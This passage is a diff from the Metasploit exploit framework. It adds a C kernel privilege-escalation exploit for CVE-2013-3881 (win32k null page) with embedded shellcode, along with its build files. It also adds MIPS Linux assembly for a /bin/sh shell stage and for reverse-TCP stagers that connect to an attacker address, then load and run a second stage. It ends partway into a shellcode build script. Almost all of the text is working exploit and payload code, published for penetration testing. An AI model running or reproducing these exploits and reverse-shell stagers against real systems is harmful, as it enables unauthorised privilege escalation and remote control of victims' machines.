+	"\x83\x7c\x24\x58\x00"          // cmp DWORD PTR [esp+0x58], 0
+	"\x74\x11"                      // je short sp1
+	"\x83\x7c\x24\x5c\x01"          // cmp DWORD PTR [esp+0x5c], 1
+	"\x75\x0a"                      // je short sp1
+	/* Service Pack 0 */
+	"\x83\xc4\x48"                  // add esp, 0x48
+	"\x5f"                          // pop edi
+	"\x5e"                          // pop esi
+	"\x5b"                          // pop ebx
+	"\x5d"                          // pop ebp
+	"\xc2\x04\x00"                  // ret 4
+	/* Service Pack 1 */
+	"\x83\xc4\x4c"                  // add esp 0x4c
+	"\x5f"                          // pop edi
+	"\x5e"                          // pop esi
+	"\x83\xc4\x0c"                  // add esp, 0x0c
+	"\x5d"                          // pop ebp
+	"\xc2\x08\x00";                 // ret 8
+
+typedef struct _HANDLEENTRY {
+	struct _HEAD *pHead;
+	void         *pOwner;
+	UINT8        bType;
+	UINT8        bFlags;
+	UINT16       wUniq;
+} HANDLEENTRY, *PHANDLEENTRY;
+
+typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
+	IN  HANDLE  ProcessHandle,
+	IN  PVOID   *BaseAddress,
+	IN  PULONG  ZeroBits,
+	IN  PSIZE_T RegionSize,
+	IN  ULONG   AllocationType,
+	IN  ULONG   Protect
+);
+
+typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
+	IN  DWORD  ProfileSource,
+	OUT PULONG Interval
+);
+
+LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
+	return DefWindowProc(hwnd, msg, wParam, lParam);
+}
+
+NTSTATUS AllocateNullPage(void) {
+	HMODULE hNtdll = NULL;
+	FARPROC pNtAllocateVirtualMemory = NULL;
+	DWORD base_address = 1;
+	SIZE_T region_size = 0x1000;
+	ULONG zero_bits = 0;
+	HANDLE current_process = NULL;
+	NTSTATUS status = 0;
+
+	hNtdll = LoadLibraryA("ntdll");
+	pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
+	current_process = GetCurrentProcess();
+	status = pNtAllocateVirtualMemory(current_process, &base_address, 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
+	FreeLibrary(hNtdll);
+	return status;
+}
+
+PHANDLEENTRY GetAheList(void) {
+	HMODULE hUser32 = NULL;
+	HANDLEENTRY **tagSharedInfo = NULL;
+
+	hUser32 = LoadLibraryA("user32");
+	tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
+	if (tagSharedInfo == NULL) {
+		return NULL;
+	}
+	return (PHANDLEENTRY)*&tagSharedInfo[1];
+}
+
+DWORD WINAPI TriggerThread0(void *garbage) {
+	HMENU menu0;
+
+	SetThreadDesktop(desktop);
+	window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
+	menu0 = CreatePopupMenu();
+	if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
+		return 0;
+	}
+	TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
+	return 0;
+}
+
+BOOL WINAPI CreateAndRegisterClass(char * class_name) {
+	WNDCLASSEX wx;
+	HINSTANCE hInstance = NULL;
+
+	hInstance = (HINSTANCE)GetModuleHandle(NULL);
+	if (hInstance == NULL) {
+		return FALSE;
+	}
+
+	wx.cbSize = sizeof(WNDCLASSEX);
+	wx.style = 0;
+	wx.lpfnWndProc = WndProc;
+	wx.cbClsExtra = 0;
+	wx.cbWndExtra = 0;
+	wx.hInstance = hInstance;
+	wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
+	wx.hCursor = LoadCursor(NULL, IDC_ARROW);
+	wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
+	wx.lpszMenuName = NULL;
+	wx.lpszClassName = class_name;
+	wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
+
+	if (RegisterClassEx(&wx) != 0) {
+		return TRUE;
+	}
+	return FALSE;
+}
+
+DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
+	VOID(*lpCode)() = (VOID(*)())lpPayload;
+	lpCode();
+	return ERROR_SUCCESS;
+}
+
+void Win32kNullPage(LPVOID lpPayload) {
+	HMENU menu1 = NULL;
+	HMENU menu2 = NULL;
+	HANDLE gdi_handle = NULL;
+	void *promise_land = NULL;
+	ULONG interval = 0;
+	PHANDLEENTRY aheList = NULL;
+	PHANDLEENTRY target_handle = NULL;
+	DWORD saved_bytes = 0;
+
+	desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
+	SetThreadDesktop(desktop);
+
+	if (!CreateAndRegisterClass(window_class_name)) {
+		return;
+	}
+
+	if (AllocateNullPage() != STATUS_SUCCESS) {
+		return;
+	}
+	*((PDWORD)promise_land + 0)  = 0x000004eb; /* jmp 4 */
+	*((PDWORD)promise_land + 1)  = 0x90909090; /* noooop */
+	*((PDWORD)promise_land + 2)  = 0x000400b8; /* mov eax, 400 */
+	*((PDWORD)promise_land + 3)  = 0x90d0ff00; /* call eax */
+	*((PDWORD)promise_land + 7)  = 0x00;
+	*((PDWORD)promise_land + 9)  = 0x00;
+	*((PDWORD)promise_land + 12) = 0x00;
+	*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
+	*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
+	memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
+
+	window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
+	menu1 = CreatePopupMenu();
+	menu2 = CreateMenu();
+	SetMenu(window1, menu2);
+	DestroyMenu(menu2);
+
+	aheList = GetAheList();
+	*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
+	*((PDWORD)promise_land + 128) = 0x01;
+	*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
+
+	target_handle = &aheList[((DWORD)menu2 & 0xffff)];
+	*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
+	memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
+
+	if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
+		return;
+	}
+
+	do {
+		gdi_handle = CreateMetaFile(NULL);
+	} while (gdi_handle != NULL);
+
+	CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
+	Sleep(500);
+	TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
+	CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
+	return;
+}
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
+	BOOL bReturnValue = TRUE;
+	switch (dwReason) {
+		case DLL_QUERY_HMODULE:
+			hAppInstance = hinstDLL;
+			if (lpReserved != NULL) {
+				*(HMODULE *)lpReserved = hAppInstance;
+			}
+			break;
+		case DLL_PROCESS_ATTACH:
+			hAppInstance = hinstDLL;
+			Win32kNullPage(lpReserved);
+			break;
+		case DLL_PROCESS_DETACH:
+		case DLL_THREAD_ATTACH:
+		case DLL_THREAD_DETACH:
+			break;
+	}
+	return bReturnValue;
+};
--- a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
+++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
+    <RootNamespace>cve20133881</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <CompileAs>CompileAsC</CompileAs>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <OptimizeReferences>true</OptimizeReferences>
+      <OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <CompileAs>CompileAsC</CompileAs>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <CompileAs>Default</CompileAs>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <OptimizeReferences>true</OptimizeReferences>
+      <OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="cve-2013-3881.c" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
--- a/external/source/exploits/cve-2013-3881/make.msbuild
+++ b/external/source/exploits/cve-2013-3881/make.msbuild
@ -0,0 +1,17 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\cve-2013-3881.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86" />
+
+  <Target Name="x86">
+    <Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="CVE-2013-3881 is not supported in x64" />
+  </Target>
+</Project>
--- a/external/source/exploits/make.bat
+++ b/external/source/exploits/make.bat
@ -26,6 +26,13 @@ PUSHD CVE-2010-0232
 msbuild.exe make.msbuild /target:%PLAT%
 POPD

+IF "%ERRORLEVEL%"=="0" (
+  ECHO "Building CVE-2013-0109 (nvidia_nvsvc)"
+  PUSHD CVE-2013-0109
+  msbuild.exe make.msbuild /target:%PLAT%
+  POPD
+)
+
 IF "%ERRORLEVEL%"=="0" (
  ECHO "Building CVE-2013-3660 (ppr_flatten_rec)"
  PUSHD CVE-2013-3660
@ -33,6 +40,13 @@ IF "%ERRORLEVEL%"=="0" (
  POPD
 )

+IF "%ERRORLEVEL%"=="0" (
+  ECHO "Building CVE-2013-3881 (win32k_null_page)"
+  PUSHD CVE-2013-3881
+  msbuild.exe make.msbuild /target:%PLAT%
+  POPD
+)
+
 FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
 SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
 echo Finished %ldt%
--- a/external/source/shellcode/linux/mips/stage_tcp_shell.s
+++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s
@ -0,0 +1,75 @@
+##
+#
+#        Name: stage_tcp_shell
+#        Type: Stage
+#   Qualities: Compatible with both mips little and big endian
+#   Platforms: Linux
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        This payload duplicates stdio, stdin and stderr to a file descriptor,
+#        stored on $s2, and executes /bin/sh.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stage_tcp_shell.o stage_tcp_shell.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stage_tcp_shell stage_tcp_shell.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stages/linux/mipsle/shell.rb
+#        and:
+#          modules/payloads/stages/linux/mipsbe/shell.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# dup2(sockfd, 2)
+	# dup2(sockfd, 1)
+	# dup2(sockfd, 0)
+ 	# a0: oldfd (sockfd)
+ 	# a1: newfd (2, 1, 0)
+ 	# v0: syscall = __NR_dup2 (4063)
+	li      $s1, -3
+	nor     $s1, $s1, $zero
+	add     $a0, $s2, $zero
+dup2_loop:
+	add     $a1, $s1, $zero # dup2_loop
+	li      $v0, 4063       # sys_dup2
+	syscall 0x40404
+	li      $s0, -1
+	addi    $s1, $s1, -1
+	bne     $s1, $s0, dup2_loop # <dup2_loop>
+
+	# execve("/bin/sh", ["/bin/sh"], NULL)
+	# a0: filename "/bin/sh"
+	# a1: argv ["/bin/sh", NULL]
+	# a2: envp NULL
+	# v0: syscall = __NR_dup2 (4011)
+	li      $t8, -1         # load t8 with -1
+getaddr:                    # getaddr trick from scut@team-teso.net
+	bltzal  $t8, getaddr    # branch with $ra stored if t8 < 0
+	slti    $t8, $zero, -1  # delay slot instr: $t8 = 0 (see below)
+	addi    $a0, $ra, 28    # $ra gets this address
+	sw      $a0, -8($sp)
+	sw      $zero, -4($sp)
+	addi    $a1, $sp, -8
+	slti    $a2, $zero,-1
+	li      $v0, 4011       # sys_execve
+	syscall 0x40404
+
+	.string "/bin/sh"
+	.set    macro
+	.set    reorder
--- a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
+++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
@ -0,0 +1,127 @@
+##
+# 
+#        Name: stager_sock_reverse
+#        Type: Stager
+#   Qualities: No Nulls out of the IP / Port data
+#   Platforms: Linux MIPS Big Endian
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        Implementation of a MIPS BE Linux reverse TCP stager.
+#
+#        File descriptor in $s2.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stager_sock_reverse.o stager_sock_reverse.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stager_sock_reverse stager_sock_reverse.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+	# a0: domain = PF_INET (2)
+	# a1: type = SOCK_STREAM (2)
+	# a2: protocol = IPPROTO_IP (0)
+	# v0: syscall = __NR_socket (4183)
+	li      $t7, -6
+	nor     $t7, $t7, $zero
+	addi    $a0, $t7, -3
+	addi    $a1, $t7, -3
+	slti    $a2, $zero, -1
+	li      $v0, 4183
+	syscall 0x40404
+	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
+	
+	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
+	# a0: sockfd
+	# a1: addr = AF_INET (2)
+	# a2: addrlen = 16
+	# v0: syscall = __NR_connect (4170)
+	lw      $a0, -4($sp)
+	li      $t7, -3
+	nor     $t7, $t7, $zero
+	sw      $t7, -32($sp)
+	lui     $t6, 0x115c
+	sw      $t6, -28($sp)
+	lui     $t6, 0x7f00          # ip
+	ori     $t6, $t6, 0x0001     # ip
+	sw      $t6, -26($sp)
+	addiu   $a1, $sp, -30
+	li      $t4, -17
+	nor     $a2, $t4, $zero
+	li      $v0, 4170
+	syscall 0x40404
+	
+	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+	# a0: addr = -1
+	# a1: lenght = 4096
+	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+	# sp(16): fd = -1
+	# sp(20): offset = 0
+	# v0: syscall = __NR_mmap (4090)
+	li      $a0, -1
+	li      $a1, 4097
+	addi    $a1, $a1, -1
+	li      $t1, -8
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $a3, 2050
+	li      $t3, -22
+	nor     $t3, $t3, $zero
+	add     $t3, $sp, $t3
+	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+	li      $v0, 4090
+	syscall 0x40404
+	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+
+	# read(sockfd, addr, 4096)
+	# a0: sockfd
+	# a1: addr
+	# a2: len = 4096
+	# v0: syscall = __NR_read (4003)
+	lw      $a0, -4($sp)
+	lw      $a1, -8($sp)
+	li      $a2, 4097
+	addi    $a2, $a2, -1
+	li      $v0, 4003
+	syscall 0x40404
+
+	# cacheflush(addr, nbytes, DCACHE)
+	# a0: addr
+	# a1: nbytes
+	# a2: cache = DCACHE (2)
+	# v0: syscall = __NR_read (4147)
+	lw      $a0, -8($sp)
+	add     $a1, $v0, $zero
+	li      $t1, -3
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $v0, 4147
+	syscall 0x40404
+	
+	# jmp to the stage
+	lw      $s1, -8($sp)
+	lw      $s2, -4($sp)
+	jalr    $s1
+
+	.set    macro
+	.set    reorder
--- a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
+++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
@ -0,0 +1,127 @@
+##
+# 
+#        Name: stager_sock_reverse
+#        Type: Stager
+#   Qualities: No Nulls out of the IP / Port data
+#   Platforms: Linux MIPS Little Endian
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        Implementation of a MIPS LE Linux reverse TCP stager.
+#
+#        File descriptor in $s2.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stager_sock_reverse.o stager_sock_reverse.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stager_sock_reverse stager_sock_reverse.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+	# a0: domain = PF_INET (2)
+	# a1: type = SOCK_STREAM (2)
+	# a2: protocol = IPPROTO_IP (0)
+	# v0: syscall = __NR_socket (4183)
+	li      $t7, -6
+	nor     $t7, $t7, $zero
+	addi    $a0, $t7, -3
+	addi    $a1, $t7, -3
+	slti    $a2, $zero, -1
+	li      $v0, 4183
+	syscall 0x40404
+	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
+	
+	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
+	# a0: sockfd
+	# a1: addr = AF_INET (2)
+	# a2: addrlen = 16
+	# v0: syscall = __NR_connect (4170)
+	lw      $a0, -4($sp)
+	li      $t7, -3
+	nor     $t7, $t7, $zero
+	sw      $t7, -30($sp)
+	ori     $t6, $zero, 0x5c11  # port
+	sw      $t6, -28($sp)
+	lui     $t6, 0x100          # ip
+	ori     $t6, $t6, 0x7f      # ip
+	sw      $t6, -26($sp)
+	addiu   $a1, $sp, -30
+	li      $t4, -17
+	nor     $a2, $t4, $zero
+	li      $v0, 4170
+	syscall 0x40404
+	
+	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+	# a0: addr = -1
+	# a1: lenght = 4096
+	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+	# sp(16): fd = -1
+	# sp(20): offset = 0
+	# v0: syscall = __NR_mmap (4090)
+	li      $a0, -1
+	li      $a1, 4097
+	addi    $a1, $a1, -1
+	li      $t1, -8
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $a3, 2050
+	li      $t3, -22
+	nor     $t3, $t3, $zero
+	add     $t3, $sp, $t3
+	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+	li      $v0, 4090
+	syscall 0x40404
+	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+
+	# read(sockfd, addr, 4096)
+	# a0: sockfd
+	# a1: addr
+	# a2: len = 4096
+	# v0: syscall = __NR_read (4003)
+	lw      $a0, -4($sp)
+	lw      $a1, -8($sp)
+	li      $a2, 4097
+	addi    $a2, $a2, -1
+	li      $v0, 4003
+	syscall 0x40404
+
+	# cacheflush(addr, nbytes, DCACHE)
+	# a0: addr
+	# a1: nbytes
+	# a2: cache = DCACHE (2)
+	# v0: syscall = __NR_read (4147)
+	lw      $a0, -8($sp)
+	add     $a1, $v0, $zero
+	li      $t1, -3
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $v0, 4147
+	syscall 0x40404
+	
+	# jmp to the stage
+	lw      $s1, -8($sp)
+	lw      $s2, -4($sp)        # sockfd saved on $s2
+	jalr    $s1
+
+	.set    macro
+	.set    reorder
--- a/external/source/shellcode/windows/x86/build.py
+++ b/external/source/shellcode/windows/x86/build.py
@ -1,124 +1,128 @@
-#=============================================================================#
-# A simple python build script to build the singles/stages/stagers and
-# some usefull information such as offsets and a hex dump. The binary output
-# will be placed in the bin directory. A hex string and usefull comments will
-# be printed to screen.
-#
-# Example:
-#     >python build.py stager_reverse_tcp_nx
-#
-# Example, to build everything:
-#     >python build.py all > build_output.txt
-#
-# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
-#=============================================================================#
-import os, sys, time
-from subprocess import Popen
-from struct import pack
-#=============================================================================#
-def clean( dir="./bin/" ):
-  for root, dirs, files in os.walk( dir ):
-    for name in files:
-      os.remove( os.path.join( root, name ) )
-#=============================================================================#
-def locate( src_file, dir="./src/" ):
-  for root, dirs, files in os.walk( dir ):
-    for name in files:
-      if src_file == name:
-        return root
-  return None
-#=============================================================================#
-def build( name ):
-  location = locate( "%s.asm" % name )
-  if location:
-    input = os.path.normpath( os.path.join( location, name ) )
-    output = os.path.normpath( os.path.join( "./bin/", name ) )
-    p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
-    p.wait()
-    xmit( name )
-  else:
-    print "[-] Unable to locate '%s.asm' in the src directory" % name
-#=============================================================================#
-def xmit_dump_ruby( data, length=16 ):
-  dump = ""
-  for i in xrange( 0, len( data ), length ):
-    bytes = data[ i : i+length ]
-    hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
-    if i+length <= len(data):
-      hex += " +"
-    dump += "%s\n" % ( hex )
-  print dump
-#=============================================================================#
-def xmit_offset( data, name, value ):
-  offset = data.find( value );
-  if offset != -1:
-    print "# %s Offset: %d" % ( name, offset )
-#=============================================================================#
-def xmit( name, dump_ruby=True ):
-  bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
-  f = open( bin, 'rb')
-  data = f.read()
-  print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
-  xmit_offset( data, "Port", pack( ">H", 4444 ) )           # 4444
-  xmit_offset( data, "LEPort", pack( "<H", 4444 ) )         # 4444
-  xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) )     # 127.0.0.1
-  xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
-  xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
-  xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" )     # hostname filler
-  xmit_offset( data, "RetryCounter", "\x6a\x05" )     # socket retry
-  xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) )  # Filler
-  xmit_offset( data, "Hostname", "https" )
-  xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
-  xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
-  xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
-  xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
-  xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) )  # Egg tag 1
-  xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) )  # Egg tag 2
-  xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) )   # Egg tag size
-  xmit_offset( data, "RC4Key", "RC4KeyMetasploit")          # RC4 key
-  xmit_offset( data, "XORKey", "XORK")                      # XOR key
-  if( name.find( "egghunter" ) >= 0 ):
-	  null_count = data.count( "\x00" )
-	  if( null_count > 0 ):
-		print "# Note: %d NULL bytes found." % ( null_count )
-  if dump_ruby:
-    xmit_dump_ruby( data )
 #=============================================================================#
-def main( argv=None ):
-  if not argv:
-    argv = sys.argv
-  try:
-    if len( argv ) == 1:
-      print "Usage: build.py [clean|all|<name>]"
-    else:
-      print "# Built on %s\n" % (  time.asctime( time.localtime() ) )
-      if argv[1] == "clean":
-        clean()
-      elif argv[1] == "all":
-        for root, dirs, files in os.walk( "./src/egghunter/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/migrate/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/single/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/stage/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/stager/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/kernel/" ):
-          for name in files:
-            build( name[:-4] )
-      else:
-        build( argv[1] )
-  except Exception, e:
-    print "[-] ", e
-#=============================================================================#
-if __name__ == "__main__":
-  main()
+# A simple python build script to build the singles/stages/stagers and
+# some usefull information such as offsets and a hex dump. The binary output
